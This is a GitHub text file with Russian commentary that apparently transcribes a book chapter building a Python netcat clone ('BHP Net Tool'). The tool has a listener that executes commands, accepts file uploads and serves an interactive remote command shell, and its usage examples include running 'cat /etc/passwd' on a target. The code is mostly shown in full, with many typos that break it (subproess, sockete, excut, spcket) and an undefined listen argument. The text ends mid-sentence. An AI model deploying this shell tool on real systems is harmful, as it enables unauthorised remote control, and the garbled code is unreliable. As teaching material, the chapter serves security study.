-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy path10.txt
More file actions
174 lines (150 loc) · 6.94 KB
/
10.txt
File metadata and controls
174 lines (150 loc) · 6.94 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
import argparse
import socket
import shlex
import subprocess
import sys
import textwrap
import threading
def execute(cmd):
cmd = cmd.strip()
if not cmd:
return
output = subprocess.check_output(shlex.split(cmd), stderr=subproess.STDOUT)
return output.decode()
Здесь мы импортируем все нужные библиотеки и определяем функцию execute, которая получает команду, выполняет ее и
возвращает вывод в виде строки. Эта функция использует новую библиотеку, которую мы еще не обсуждали - subprocess.
Она предоставляет мощный интерфейс для создания процессов, с помощью которого вы можете взаимодействовать с клиентскими
программами несколькими способами. В данном случае мы используем ее метод check_output, который выполняет команду
в локальной операционной системе и затем возвращает вывод этой команды.
Теперь создадим главный блок, ответственный за разбор аргументов командной строки и вызов остальных наших функций:
if __name__ == '__main__':
parser = argparse.ArgumentParser(
description = 'BHP Neet Tool',
formatter_class = argparse.RawDescriptionHelpFormatter,
epilog = textwrap.dedent('''Example:
netcat.py -t 192.168.1.108 -p 5555 -l -c # командная оболочка
netcat.py -t 192.168.1.108 -p 5555 -l -u = mytest.txt
# загружаем в файл
netcat.py -t 192.168.1.108 -p 5555 -l -e=\"cat /etc/passwd\"
# выполняем команду
echo 'ABC' | ./netcat.py -t 192.168.1.108 -p 135
# шлем текст на порт сервера 135
netcat.py -t 192.168.1.108 -p 5555 # сединяемся с сервером''')
)
parser.add_argument('-c', '--command', action='store_true', help = 'command shell')
parser.add_argument('-e', '--execute', help='execute specified command')
parser.add_argument('-p', '--port', type=int, default=5555, help='specified port')
parser.add_argument('-t', '--target', default='192.168.1.203', help='specified IP')
parser.add_argument('-u', '--upload', help='upload file')
args = parser.parse_args()
if args.listen:
buffer = ''
else:
buffer = sys.stdin.read()
nc = NetCat(args, buffer.encode())
nc.run()
Для создания интерфейса командной строки мы используем модуль argparse из стандартной библиотеки. Предоставим
аргументы, чтобы его можно было вызывать для загрузки файлов на сервер, выполнения команд или запуска командной
оболочки.
Мы также предоставляем справку о применении, которая выводится, когда пользователь запускает программу с параметром
--help. В ней перечислены шесть аргументов, которые определяют то, как должна вести себя программа. Аргумент -с
подготавливает интерактивную командную оболочку, -е выполняет отдельно взятую команду, -l говорит о том, что нужно
подготовить слушателя, -р позволяет указать порт, на котором будет происходить взаимодействие, -t задает IP-адрес,
а -u определяет имя файла, который нужно загрузить. С этой программой могут работать как отправитель, так и получатель,
поэтому параметры определяют, для чего она запускается - для отправки или прослушивания. Аргументы -с, -е и -u
подразумевают наличие -l, так как они применимы только к той стороне взаимодействия, которая слушает. Отправляющая
сторона соединяется со слушателем, и, чтобы его поределить, ей нужны только параметры -t и -p.
Если программа используется в качестве слушателя, мы вызываем объект NetCat с пустым строковым буфером. В противном
случае сохраняем в буфер содержимое stdin. В конце вызываем метод run, чтобы запустить программу.
Теперь начнем собирать некоторые из этих функций вместе, начиная с нашего клиентского кода. Добавьте в главный блок
следующее:
class NetCat:
def __init__(self, args, buffer=None):
self.args = args
self.buffer = buffer
self.socket = socket.socket(socket.AF_INET, sockete.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
def run(self):
if self.args.listen:
self.listen()
else:
self.send()
Мы инициализируем объект NetCat с помощью аргументов из командной строки и буфера, после чего создаем объект сокета.
Метод run, который служит точкой входа для управления объектом NetCat довольно прост: он делегирует выполнение двум
другим методам. Если нам нужно подготовить слушателя, вызываем метод listen, а если нет - метод send. Последний
выглядит так:
def send(self):
self.socket.connect((self.args.target, self.args.port))
if self.buffer:
self.socket.send(self.buffer)
try:
while True:
recv_len = 1
response = ''
while recv_len:
data = self.socket.recv(4096)
recv_len = len(data)
response += data.decode()
if recv_len < 4096:
break
if response:
print(response)
buffer = input('> ')
buffer += '\n'
self.socket.send(buffer.encode())
except KeyboardInterrupt:
print('User terminated.')
self.socket.close()
sys.exit()
Мы подключаемся к серверу с заданными адресом и портом и передаем ему буфер, он у нас есть. Затем используем блок
try/catch, чтобы иметь возможность закрыть соедиение вручную нажатием Ctrl+C. Дальше начинаем цикл, чтобы получить
данные от целевого сервера. Если данных больше нет, выходим из цикла. В противном случае выводим ответ, останавливаемся,
чтобы получить интерактивный ввод, отправляем его и продолжаем цикл.
Цикл будет работать, пока не произойдет исключение KeyboardInterrupt (Ctrl+C), в результате чего закроется сокет.
Теперь напишем метод, который выполняется, когда программа запускается для прослушивания:
def listen(self):
self.socket.bind((self.args.target, self.args.port))
self.socket.listen(5)
while True:
client_socket, _ = self.socket.accept()
client_thread = threading.Thread(
target = self.handle, args = (client_socket,)
)
client_thread.start()
Метод listen привязывается к адресу и порту и начинает прослушивание в цикле, передавая подключивлиеся сокеты методу
handle
Теперь реализуем логику для загрузки файлов, выполнения команд и создания интерактивной командной оболочки. Программа
может выполнять эти задания в режиме прослушивания:
def handle(self, client_socket):
if self.args.excut:
output = execute(self.args.execute)
client_socket.send(output.encode())
elif self.args.upload:
file_buffer = b''
while True:
data = client_socket.recv(4096)
if data:
file_buffer += data
else:
break
with open(self.args.upload, 'wb') as f:
f.write(file_buffer)
message = f'Saved file {self.args.upload}'
cient_socket.send(message.encode())
elif self.args.command:
cmd_buffer = b''
while True:
try:
client_socket.send(b'BHP: #> ')
while '\n' not in cmd_buffer.decode():
cmd_buffer += client_socket.recv(64)
response = execute(cmd_buffer.decode())
if response:
client_socket.send(response.encode())
cmd_buffer = b''
except Exception as e:
print(f'Server killed {e}')
self.spcket.close()
sys.exit()
Метод handle выполняет задание в соответствии с полученным аргументом командной строки выполняет команду,
загружает файл или запускает командную оболочку. Если нужно выполнить команду, загружает файл иил